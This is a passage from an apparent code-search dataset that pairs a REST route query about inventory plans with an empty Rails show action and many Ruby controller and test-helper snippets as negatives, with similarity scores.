'CanWakeupTest'\n status[ip]['progress'] == 'Not implemented'\n elsif status[ip]['status'] == 'Manual'\n #If the test is manual, we just say it is not implemented yet. Do not know if it ever will,\n #because it is kind of impossible to know where manual test results will be saved.\n status[ip]['progress'] = 'Not implemented'\n elsif status[ip]['status'] == \"Idle\"\n latest = `ls -td #{$autotestpath}#{sut[:name]}*/ | head -n 1`[0...-1]\n latest = `ls -td #{latest}2017*/ | head -n 1`[0...-1]\n failed = `find #{latest} -name *TestRun.txt`[0...-1]\n if failed == '' && latest != ''\n status[ip]['progress'] = \"Last test failed to proceed\"\n status[ip]['progresscolor'] = \"color:red;\"\n else\n #Idle will be shown as empty in progress tab\n status[ip]['progress'] = ' '\n status[ip]['progresscolor'] = \"color:white;\"\n end\n end\n end\nend", "def check_result(filename, result, must_fail, tag)\n if must_fail && !result.match(/^No search results$/)\n s = \"\"\n s << \"This case must be failed (type unsafe)\\n\"\n\n return s\n end\n\n if File.exists?(filename)\n content = File.read(filename)\n if result != content\n s = \"\"\n s << \"===== expect:\\n\"\n s << content\n s << \"\\n\"\n s << \"===== actual:\\n\"\n s << result\n s << \"\\n\"\n s << \"=====\"\n\n return s\n else\n return nil\n end\n\n else\n if result.length > 0\n puts \"[!] WARNING: no test for #{tag} (#{filename}) ===== \"\n\n # auto_generate_testcase(filename, result)\n\n puts result\n puts \" \" + \"=\" * 20\n end\n\n return nil\n end\nend", "def current_state\n if !self.failure_message.nil?\n { message: self.failure_message, status: :forced_failure }\n elsif temporary\n { message: 'Running Visual Tests', status: :pending }\n else\n unapproved_count = self.unapproved_diffs.count\n approved_count = self.approved_diffs.count\n new_count = self.new_tests.count\n message_components = []\n message_components.push(\"#{new_count} new tests\") if new_count > 0\n\n if unapproved_count > 0\n message_components.push(\"#{unapproved_count} unapproved diffs\")\n end\n\n if approved_count > 0\n message_components.push(\"#{approved_count} approved diffs\")\n end\n\n message = message_components.count > 0 ? message_components.join(', ') : '0 diffs'\n status = unapproved_count > 0 ? :failure : :success\n { message: message, status: status }\n end\n end", "def testcase3(prog)\n rc = prog.run(\"blah\")\n assert_equal(0, rc, \"program should exit normally\")\n end", "def test_success_scenario\n assert last_response.ok?\n end", "def run_and_success?(cmd)\n run(cmd).success?\n end", "def pretty_result\n data['build']['result'] == 0 ? 'passes' : 'fails'\n end", "def cmp_output(test)\n # test out and err\n if test.expected_out_exists? && test.expected_err_exists?\n cmp_out(test)\n cmp_err(test)\n return :success if (test.out_result && test.err_result)\n\n # test only out\n elsif test.expected_out_exists?\n cmp_out(test)\n return :success if test.out_result\n\n # test only err\n else\n cmp_err(test)\n return :success if test.err_result\n end\n\n return :failed\n end", "def success?\n [missing, unexpected, no_diffs, invalid_syntax].all?(&:empty?)\n end", "def test(test=false, expecting=false, text=\"Unnamed Passing Test\")\n passed = test == expecting\n @tests += 1\n @passing += 1 if test == expecting\n result = passed ? PASS : FAIL\n symbol = passed ? SYM_PASS : SYM_FAIL\n status = \" #{result} (#{test.to_s[0]} #{symbol} #{expecting.to_s[0]})\"\n \n len_dot = WIDTH - text.length - status.length\n len_dot = 0 if len_dot < 0\n dots = (\".\"*len_dot).to_s\n flex_len = WIDTH - (status.length + dots.length)\n text = text[0..(flex_len-1)]\n result = \"#{text}#{dots}#{status}\"\n puts result\n result\n end", "def success?; terminal_flag == :success end" ]
[ "0.67120624", "0.6472583", "0.6472436", "0.6385999", "0.6382669", "0.63044417", "0.63044417", "0.6170361", "0.616639", "0.603562", "0.59400177", "0.59276897", "0.5907446", "0.5870101", "0.5856742", "0.5822171", "0.5822171", "0.5817759", "0.58138794", "0.58112144", "0.58108103", "0.58077884", "0.5773707", "0.57636803", "0.5758419", "0.5746486", "0.57439077", "0.5740977", "0.5725194", "0.5716498", "0.57132816", "0.57090497", "0.570677", "0.5703324", "0.56987566", "0.5697291", "0.568532", "0.56847143", "0.5682922", "0.5682435", "0.5673247", "0.5668234", "0.56618935", "0.5661766", "0.56588376", "0.5657923", "0.56527746", "0.5645661", "0.56365883", "0.5636162", "0.5636031", "0.5635146", "0.5633359", "0.5630187", "0.5627332", "0.56193006", "0.56178725", "0.5601593", "0.5599652", "0.55846685", "0.55844784", "0.55837953", "0.5582377", "0.5575721", "0.55740255", "0.55714786", "0.5569621", "0.5566965", "0.55645096", "0.5564157", "0.55613947", "0.5560506", "0.555452", "0.5549726", "0.5546406", "0.5544769", "0.5541607", "0.5539643", "0.55276674", "0.5527008", "0.5521332", "0.5521125", "0.5513277", "0.5511243", "0.55100393", "0.55095965", "0.55095965", "0.55095965", "0.5509578", "0.5508957", "0.5504171", "0.55015117", "0.5493801", "0.5491852", "0.54903", "0.5482827", "0.54795545", "0.5476987", "0.5474949", "0.5469255", "0.5468043" ]
0.0
-1
GET /inventory_plans GET /inventory_plans.json
def index @inventory_plans = InventoryPlan.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def plans(params = {})\n scope 'default'\n get('plans/', params)\n end", "def index\n @plans = Plan.all\n\n render json: @plans\n end", "def index\n respond_with(@plans = Plan.all)\n end", "def index\n @plans = Plan.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plans }\n end\n end", "def index\n @site_plans = @product.site_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @site_plans }\n end\n end", "def show\n @plans = @event.plans\n \n respond_to do |format|\n format.html {}\n format.json { render json: @event.to_json}\n end\n end", "def index\n @plans = Plan.all\n end", "def index\n @plans = Plan.all\n end", "def index\n @floor_plans = @product.floor_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @floor_plans }\n end\n end", "def show\n @plans = Stripe::Plan.all\n end", "def show\n @plan = Plan.find(params[:id])\n\n render json: @plan\n end", "def show\n render json: @plan\n end", "def read_service_plans()\n @client.service_plans\n end", "def fetch_plans (id = nil)\n @plans = []\n parameters = {}\n @networks_by_plan = {}\n parameters[:_profile] = 'http://hl7.org/fhir/us/davinci-pdex-plan-net/StructureDefinition/plannet-InsurancePlan' \n if(id)\n parameters[:_id] = id\n end\n\n @client.search(\n FHIR::InsurancePlan,\n search: { parameters: parameters }\n )&.resource&.entry&.map do |entry|\n @plans << {\n value: entry&.resource&.id,\n name: entry&.resource&.name\n }\n @networks_by_plan [ entry&.resource&.id] = entry&.resource&.network\n end\n @plans.sort_by! { |hsh| hsh[:name] }\n rescue => exception\n redirect_to root_path, flash: { error: 'Please specify a plan network server' }\n\n end", "def index\n @test_plans = @project.test_plans\n end", "def all_plans\n file = File.read('./data/bundle.json')\n plan_hash = JSON.parse(file)\n plans = plan_hash['plans']\n end", "def plans\n return @plans\n end", "def url\n resource.url + '/application_plans'\n end", "def plans\r\n @plans ||= PlansController.new(configuration: @configuration)\r\n end", "def show\n @planitem = Planitem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @planitem }\n end\n end", "def index\n @billing_plans = BillingPlan.all\n end", "def index\n @plans = Plan.where(user_id: current_user.id)\n end", "def index\n @page_plans = PagePlan.all\n end", "def index\n @art_plans = current_user.art_plans\n end", "def plans_available_bam(country)\n plan = Plan.select('id, name, detail, price').where('country= ? AND item= ?',\n country, 'bam')\n # Format to show in view\n plans = plan.map { |m| [m.name, m.id] }\n # Format to display details of plans\n details = plan.map {|m| [m.id, m.detail]}\n return [plans, details]\n end", "def show\n @test_plan = TestPlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_plan }\n end\n end", "def index\n @local_plans = LocalPlan.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @local_plans }\n end\n end", "def plans=(value)\n @plans = value\n end", "def show\n @sslplan = Sslplan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @sslplan }\n end\n end", "def index\n plan = Plan.find_by(url:params[:plan_id])\n stories = plan.stories\n render json: stories\n end", "def index_crud\n\n @plans = Plan.all\n render :index_crud\n end", "def index\n @actual_action_plans = ActualActionPlan.all\n end", "def index\n @care_plans = CarePlan.all\n render json: @care_plans\n end", "def show\n @panel_plan = Panel::Plan.find(params[:id])\n @features = Panel::Planfeature.where(:panel_plan_id => params[:id]).all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @panel_plan }\n end\n end", "def index\n @plans = Plan.order('created_at desc')\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @plans }\n end\n end", "def index\n @plan = Plan.new\n @incident = Incident.find(params[:incident_id])\n @plans = Plan.where(incident_id: @incident.id).order(date: :desc)\n end", "def status\n @plan = Plan.find(params[:id])\n authorize @plan\n respond_to do |format|\n format.json { render json: @plan.status }\n end\n end", "def index\n respond_with(end_user_plans)\n end", "def index\n @operative_plans = OperativePlan.all\n end", "def index\n @callplans = Callplan.all\n end", "def index\n @payment_plans = PaymentPlan.all\n end", "def show\n @plan = Plan.find(params[:id])\n end", "def index\n @media_plans = MediaPlan.all\n end", "def pharmacy_plans(params = {})\n response = default_scope.get('pharmacy/plans') do |request|\n request.params = params\n end\n JSON.parse(response.body)\n end", "def plan\n data['plans'][me]\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site_plan }\n end\n end", "def floorplans\r\n FloorplansController.instance\r\n end", "def index\n @sales_plans = SalesPlan.all\n end", "def list_plans(filter: nil)\n {\n plans: filter_content(pal.list_plans_with_cache(filter_content: true), filter),\n modulepath: pal.user_modulepath\n }\n end", "def all_plans\n if current_user.typeofuser == \"admin\" then\n @tenant = current_user.tenant\n @current_plan = @tenant.pricing_plan\n @selected_plan = PricingPlan.find(@tenant.selected_plan_id)\n @pricing_plans = PricingPlan.where(:plan_type => 'public')\n end\n end", "def show\n @project_procurement_management_plan = ProjectProcurementManagementPlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project_procurement_management_plan }\n end\n end", "def show(project_token = @project_token, id = @id, user = @@default_user)\n @attributes = send_request(\"test_plans/#{id}\", :get) do |req|\n req.params = {\n token: project_token,\n auth_token: user.auth_token\n }\n end\n end", "def plans\n @plans ||= spinner('Loading plans') { Loader.load_all configuration.plan_files }\n end", "def index\n @lesson_plans = current_user.lesson_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lesson_plans }\n end\n end", "def index\n @session_plans = @session_plan_category.session_plans\n end", "def index\n from_time = Time.now\n render json: Invoice.where(invoice_status_id: 12).order(id: :desc).limit(10).map { |x|\n {\n username: x.user.username,\n plan: \"#{x.plan.name} - $#{x.plan.price} USD\",\n created_at: x.created_at\n }\n }\n end", "def index\n if user_signed_in?\n @plans = Plan.where(user_id: current_user.id)\n else\n @plans = []\n end\n end", "def index\n authorize Plan\n @plans = Plan.includes(:roles).active(current_user).page(1)\n @organisationally_or_publicly_visible = if current_user.org.is_other?\n []\n else\n Plan.organisationally_or_publicly_visible(current_user).page(1)\n end\n # TODO: Is this still used? We cannot switch this to use the :plan_params\n # strong params because any calls that do not include `plan` in the\n # query string will fail\n @template = Template.find(params[:plan][:template_id]) if params[:plan].present?\n end", "def retrieve_plan_list\n options = { limit: 100 }\n options[:offset] = @offset if @offset.present?\n ChargeBee::Plan.list(options)\n end", "def plans(within_product=nil)\n product_id = within_product ? within_product.enabled_products.map(&:id) + [within_product.id] : nil\n Plan.where(:id => plan_ids, :product_id => product_id).all\n end", "def show\n set_client_profile(@plan)\n @goals = @plan.goals\n @tasks = @plan.tasks\n end", "def plans\n subscriptions.map(&:plan)\n end", "def index\n @article_plans = ArticlePlan.all\n end", "def show\n @plan = Plan.find(params[:id])\n @plan_days = @plan.plan_days\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plan }\n end\n end", "def index\n @business_plans = BusinessPlan.all\n end", "def api_v1_online_job_plans_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: OnlineJobPlanApi.api_v1_online_job_plans_get ...'\n end\n # resource path\n local_var_path = '/api/v1/online_job_plans'\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'per_page'] = opts[:'per_page'] if !opts[:'per_page'].nil?\n query_params[:'filter[id]'] = opts[:'filter_id'] if !opts[:'filter_id'].nil?\n query_params[:'filter[owner_id]'] = opts[:'filter_owner_id'] if !opts[:'filter_owner_id'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/vnd.api+json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['apiEmail', 'apiToken']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'OnlineJobPlansResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OnlineJobPlanApi#api_v1_online_job_plans_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def plans\n\t @plans = Plan.all\n\t current_user.clean_subscriptions if current_user\n\tend", "def index\n if current_user.is_admin?\n @plans = Plan.all\n else\n @plans = Plan.where(user_id: current_user.id)\n end\n end", "def find_test_plans()\n begin\n uri1 = \"get_plans/#{@tr_project['id']}\"\n plan_shells = testrail_send('get', uri1)\n plans = []\n plan_shells.each do |plan_shell|\n uri2 = \"get_plan/#{plan_shell['id']}\"\n plan = testrail_send('get', uri2)\n runs = []\n tests = []\n run_ids = []\n \n entries = plan['entries'] || []\n entries.each do |entry|\n run_shells = entry['runs']\n run_shells.each do |run_shell|\n uri3 = \"get_run/#{run_shell['id']}\"\n run = testrail_send('get', uri3)\n runs.push(run)\n \n uri4 = \"get_tests/#{run_shell['id']}\"\n test = testrail_send('get', uri4)\n tests.push(test)\n \n run_ids.push(run_shell['id'])\n end\n end\n plan['runs'] = runs\n plan['tests'] = tests\n plan['run_ids'] = run_ids\n plans.push(plan)\n end\n rescue Exception => ex\n raise UnrecoverableException.new(\"Failed to find any Test Plans.\\n TestRail api returned:#{ex.message}\", self)\n end\n\n return plans\n end", "def index\n\n @goals = Goal.by_person_as_student(current_user.person)\n @goals = @goals.by_plan(params[:plan_id]) if params[:plan_id].present?\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @goals }\n end\n end", "def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end", "def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end", "def index\n @admin_subscription_plans = Admin::SubscriptionPlan.all\n end", "def index\n @meal_plans = MealPlan.all\n end", "def plans\n @title = 'Puppet Plan Listing A-Z'\n @objects_by_letter = objects_by_letter(:puppet_plan)\n erb(:objects)\nend", "def index\n @plan_milestones = PlanMilestone.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plan_milestones }\n end\n end", "def index\n @meeting_plans = MeetingPlan.all\n end", "def payer_plans\n payerplan_type = \"http://hl7.org/fhir/us/davinci-pdex-plan-net/CodeSystem/InsuranceProductTypeCS|\"\n reply = @client.search(FHIR::InsurancePlan, search: { parameters: { type: payerplan_type } }).resource\n @payersbyid = build_payer_plans(reply)\n session[:payersbyid] = compress_hash(@payersbyid.to_json)\n\n # Prepare the query string for display on the page\n @search = URI.decode(reply.link.select { |l| l.relation === \"self\" }.first.url) if reply.link.first\n session[:payersplan_query] = @search\n rescue => exception\n puts \"payer plans fails: #{exception}\"\n @payersbyid ||= {}\n end", "def show\n @work_plan = WorkPlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work_plan }\n end\n end", "def index\n @pricing_plans = PricingPlan.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pricing_plans }\n end\n end", "def index\n @ad_plans = AdPlan.all\n \n end", "def show\r\n @work_plan = WorkPlan.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @work_plan }\r\n end\r\n end", "def show\n @plantype = Plantype.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plantype }\n end\n end", "def plan(accountname)\n response = get_request(\"/users/#{accountname}/plan\")\n end", "def plan(accountname)\n response = get_request(\"/users/#{accountname}/plan\")\n end", "def index\n @subscription = current_customer.active_subscription\n @plans = Billingly::Plan.all\n @invoices = current_customer.invoices.order('created_at DESC')\n end", "def find_test_plans()\n begin\n uri1 = \"get_plans/#{@tr_project['id']}\"\n plan_shells = @testrail.send_get(uri1)\n plans = []\n plan_shells.each do |plan_shell|\n uri2 = \"get_plan/#{plan_shell['id']}\"\n plan = @testrail.send_get(uri2)\n runs = []\n tests = []\n run_ids = []\n \n entries = plan['entries'] || []\n entries.each do |entry|\n run_shells = entry['runs']\n run_shells.each do |run_shell|\n uri3 = \"get_run/#{run_shell['id']}\"\n run = @testrail.send_get(uri3)\n runs.push(run)\n \n uri4 = \"get_tests/#{run_shell['id']}\"\n test = @testrail.send_get(uri4)\n tests.push(test)\n \n run_ids.push(run_shell['id'])\n end\n end\n plan['runs'] = runs\n plan['tests'] = tests\n plan['run_ids'] = run_ids\n plans.push(plan)\n end\n rescue Exception => ex\n raise UnrecoverableException.new(\"Failed to find any Test Plans.\\n TestRail api returned:#{ex.message}\", self)\n end\n\n return plans\n end", "def find_test_plans()\n begin\n plan_shells = @testrail.send_get(\"get_plans/#{@tr_project['id']}\")\n plans = []\n plan_shells.each do |plan_shell|\n plan = @testrail.send_get(\"get_plan/#{plan_shell['id']}\")\n runs = []\n tests = []\n \n entries = plan['entries'] || []\n entries.each do |entry|\n run_shells = entry['runs']\n run_shells.each do |run_shell|\n run = @testrail.send_get(\"get_run/#{run_shell['id']}\")\n runs.push(run)\n test = @testrail.send_get(\"get_tests/#{run_shell['id']}\")\n tests.push(test)\n end\n end\n plan['runs'] = runs\n plan['tests'] = tests\n plans.push(plan)\n end\n rescue Exception => ex\n raise UnrecoverableException.new(\"Failed to find any Test Plans.\\n TestRail api returned:#{ex.message}\", self)\n end\n \n return plans\n end", "def index\n @tipo_plans = TipoPlan.all\n end", "def vitals\n raise UserNotAuthenticated unless access_token\n\n get('records/vitals')\n end", "def index\n @calls = Call.all\n @plans = Plan.all\n end", "def get_plansbyid\n if session[:plansbyid]\n @plansbyid = JSON.parse(decompress_hash(session[:plansbyid])).deep_symbolize_keys\n @locationsbyid = JSON.parse(decompress_hash(session[:locationsbyid])).deep_symbolize_keys\n @cp_options = decompress_hash(session[:cp_options])\n @search = session[:query]\n else\n puts \"get_plansbyid: session[:plansbyid] is #{session[:plansbyid]}, calling coverage_plans \"\n coverage_plans\n end\n end", "def show\n @ecommerceplan = Ecommerceplan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @ecommerceplan }\n end\n end", "def index\n @mealplans = Mealplan.all\n end", "def index\n @subscription = current_customer.active_subscription\n @plans = Billingly::Plan.where('hidden = false')\n @invoices = current_customer.invoices.order('created_at DESC')\n end", "def create\n @inventory_plan = InventoryPlan.new(inventory_plan_params)\n\n respond_to do |format|\n if @inventory_plan.save\n format.html { redirect_to @inventory_plan, notice: 'Inventory plan was successfully created.' }\n format.json { render :show, status: :created, location: @inventory_plan }\n else\n format.html { render :new }\n format.json { render json: @inventory_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def find_plan\n if params[:plan_ids].present?\n @plan = @provider.service_plans.published.find(params[:plan_ids].first)\n end\n end", "def show\n @exercise_plan = ExercisePlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise_plan }\n end\n end", "def index\n @service_plans = ServicePlan.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @service_plans }\n end\n end", "def index\n @check_plans = CheckPlan.all\n end" ]
[ "0.77916926", "0.7543112", "0.73146963", "0.7312528", "0.72711605", "0.71513766", "0.71465814", "0.71465814", "0.7105246", "0.70671", "0.70236224", "0.6997769", "0.69931203", "0.6962248", "0.68519205", "0.68396896", "0.6816712", "0.6749482", "0.6733172", "0.67094934", "0.6641385", "0.6610005", "0.6597323", "0.6536044", "0.6500376", "0.64973575", "0.6494923", "0.64612746", "0.64523864", "0.6437893", "0.6421901", "0.6421481", "0.6418314", "0.6413214", "0.6408971", "0.6394207", "0.6391509", "0.6390645", "0.6382577", "0.63790154", "0.6374841", "0.63715553", "0.6368527", "0.6368113", "0.6363345", "0.6347534", "0.6346287", "0.633207", "0.6327375", "0.631856", "0.6310402", "0.62993354", "0.629806", "0.62945205", "0.6286415", "0.62667495", "0.6261001", "0.6258353", "0.6256131", "0.62533134", "0.62518424", "0.6239232", "0.6235589", "0.6233376", "0.6232734", "0.6225362", "0.6223544", "0.62220496", "0.6212628", "0.6207933", "0.619984", "0.619984", "0.6191294", "0.61863244", "0.61723846", "0.61599404", "0.6157088", "0.6153398", "0.61476624", "0.61413395", "0.6108209", "0.610272", "0.6101345", "0.60993236", "0.60993236", "0.60897094", "0.60785145", "0.6076742", "0.6075599", "0.607439", "0.6071583", "0.60701716", "0.6067946", "0.6067755", "0.6057869", "0.6049514", "0.603466", "0.60316217", "0.60253704", "0.60245067" ]
0.76079214
1
GET /inventory_plans/1 GET /inventory_plans/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @plans = Plan.all\n\n render json: @plans\n end", "def plans(params = {})\n scope 'default'\n get('plans/', params)\n end", "def index\n @inventory_plans = InventoryPlan.all\n end", "def show\n @plan = Plan.find(params[:id])\n\n render json: @plan\n end", "def index\n @plans = Plan.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plans }\n end\n end", "def index\n @site_plans = @product.site_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @site_plans }\n end\n end", "def index\n respond_with(@plans = Plan.all)\n end", "def show\n render json: @plan\n end", "def show\n @plans = @event.plans\n \n respond_to do |format|\n format.html {}\n format.json { render json: @event.to_json}\n end\n end", "def show\n @planitem = Planitem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @planitem }\n end\n end", "def index\n @floor_plans = @product.floor_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @floor_plans }\n end\n end", "def index\n @plans = Plan.all\n end", "def index\n @plans = Plan.all\n end", "def show\n @plans = Stripe::Plan.all\n end", "def fetch_plans (id = nil)\n @plans = []\n parameters = {}\n @networks_by_plan = {}\n parameters[:_profile] = 'http://hl7.org/fhir/us/davinci-pdex-plan-net/StructureDefinition/plannet-InsurancePlan' \n if(id)\n parameters[:_id] = id\n end\n\n @client.search(\n FHIR::InsurancePlan,\n search: { parameters: parameters }\n )&.resource&.entry&.map do |entry|\n @plans << {\n value: entry&.resource&.id,\n name: entry&.resource&.name\n }\n @networks_by_plan [ entry&.resource&.id] = entry&.resource&.network\n end\n @plans.sort_by! { |hsh| hsh[:name] }\n rescue => exception\n redirect_to root_path, flash: { error: 'Please specify a plan network server' }\n\n end", "def show\n @sslplan = Sslplan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @sslplan }\n end\n end", "def show\n @test_plan = TestPlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_plan }\n end\n end", "def read_service_plans()\n @client.service_plans\n end", "def show\n @plan = Plan.find(params[:id])\n end", "def show\n @project_procurement_management_plan = ProjectProcurementManagementPlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project_procurement_management_plan }\n end\n end", "def index\n @test_plans = @project.test_plans\n end", "def url\n resource.url + '/application_plans'\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site_plan }\n end\n end", "def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end", "def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end", "def status\n @plan = Plan.find(params[:id])\n authorize @plan\n respond_to do |format|\n format.json { render json: @plan.status }\n end\n end", "def all_plans\n file = File.read('./data/bundle.json')\n plan_hash = JSON.parse(file)\n plans = plan_hash['plans']\n end", "def show\n @plantype = Plantype.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plantype }\n end\n end", "def index\n @billing_plans = BillingPlan.all\n end", "def show\n @panel_plan = Panel::Plan.find(params[:id])\n @features = Panel::Planfeature.where(:panel_plan_id => params[:id]).all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @panel_plan }\n end\n end", "def show\n @work_plan = WorkPlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work_plan }\n end\n end", "def show(project_token = @project_token, id = @id, user = @@default_user)\n @attributes = send_request(\"test_plans/#{id}\", :get) do |req|\n req.params = {\n token: project_token,\n auth_token: user.auth_token\n }\n end\n end", "def index_crud\n\n @plans = Plan.all\n render :index_crud\n end", "def show\r\n @work_plan = WorkPlan.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @work_plan }\r\n end\r\n end", "def index\n @plan = Plan.new\n @incident = Incident.find(params[:incident_id])\n @plans = Plan.where(incident_id: @incident.id).order(date: :desc)\n end", "def plan\n data['plans'][me]\n end", "def show\n @lunchplan = Lunchplan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @lunchplan }\n end\n end", "def index\n @care_plans = CarePlan.all\n render json: @care_plans\n end", "def index\n @local_plans = LocalPlan.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @local_plans }\n end\n end", "def index\n @plans = Plan.order('created_at desc')\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @plans }\n end\n end", "def show\n @plan = Plan.find(params[:id])\n @plan_days = @plan.plan_days\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plan }\n end\n end", "def index\n @plans = Plan.where(user_id: current_user.id)\n end", "def show\n @exercise_plan = ExercisePlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise_plan }\n end\n end", "def index\n @page_plans = PagePlan.all\n end", "def show\n @ecommerceplan = Ecommerceplan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @ecommerceplan }\n end\n end", "def plans\r\n @plans ||= PlansController.new(configuration: @configuration)\r\n end", "def show\n @plan_setting = PlanSetting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plan_setting }\n end\n end", "def show\n id = @call.plan_id\n @plan = Plan.find(id)\n @plan = @plan.name\n end", "def floorplans\r\n FloorplansController.instance\r\n end", "def index\n plan = Plan.find_by(url:params[:plan_id])\n stories = plan.stories\n render json: stories\n end", "def index\n\n @goals = Goal.by_person_as_student(current_user.person)\n @goals = @goals.by_plan(params[:plan_id]) if params[:plan_id].present?\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @goals }\n end\n end", "def show\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @plan }\n end\n end", "def show\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @plan }\n end\n end", "def show\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @plan }\n end\n end", "def new\n @panel_plan = Panel::Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @panel_plan }\n end\n end", "def find_plan\n if params[:plan_ids].present?\n @plan = @provider.service_plans.published.find(params[:plan_ids].first)\n end\n end", "def index\n from_time = Time.now\n render json: Invoice.where(invoice_status_id: 12).order(id: :desc).limit(10).map { |x|\n {\n username: x.user.username,\n plan: \"#{x.plan.name} - $#{x.plan.price} USD\",\n created_at: x.created_at\n }\n }\n end", "def index\n @operative_plans = OperativePlan.all\n end", "def index\n @callplans = Callplan.all\n end", "def new\n @sslplan = Sslplan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @sslplan }\n end\n end", "def show\n @id = params[:id]\n if @id\n @plans = Plan.where(:servicio_id => @id)\n else\n @plans = Plan.all\n end\n\n end", "def show\n set_client_profile(@plan)\n @goals = @plan.goals\n @tasks = @plan.tasks\n end", "def index\n @payment_plans = PaymentPlan.all\n end", "def plans\n return @plans\n end", "def show\n @klassplan = Klassplan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @klassplan }\n end\n end", "def index\n @actual_action_plans = ActualActionPlan.all\n end", "def show\n @new_plan = Plan.new\n @incident = Incident.find(params[:incident_id])\n @resources = @incident.resources.order(:category, :order_number)\n @resource = Resource.new\n @plan = Plan.find(params[:id])\n @plans = Plan.all.order(date: :desc)\n @objectives = @plan.objectives.order(order: :asc)\n @objective = Objective.new\n @activity = Activity.new\n end", "def index\n @media_plans = MediaPlan.all\n end", "def show\n @workout_plan = @single_plan.workout_plans.first\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @single_plan }\n end\n end", "def show\n @plannegocio = Plannegocio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plannegocio }\n end\n end", "def show\n @socialize_plan = SocializePlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @socialize_plan }\n format.json { render :json => @socialize_plan }\n end\n end", "def api_v1_online_job_plans_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: 